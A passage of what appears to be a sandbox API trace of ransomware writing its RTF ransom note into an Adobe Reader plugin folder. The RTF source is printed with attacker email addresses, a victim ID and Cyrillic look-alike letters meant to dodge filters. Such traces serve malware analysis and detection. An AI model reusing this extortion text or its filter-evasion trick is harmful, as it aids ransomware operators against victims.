\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÒ3Ϧ¼­&!:Ü\x9c}Åèî\x1f\x0cû\x0c\x09\x04Î\x8fÅåN2೺\x03\n", lpUsedDefaultChar=0x0) returned 14086 [0034.063] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.064] CloseHandle (hObject=0x1b4) returned 1 [0034.064] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\!bwng_info!.rtf")) returned 0xffffffff [0034.065] GetLastError () returned 0x2 [0034.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 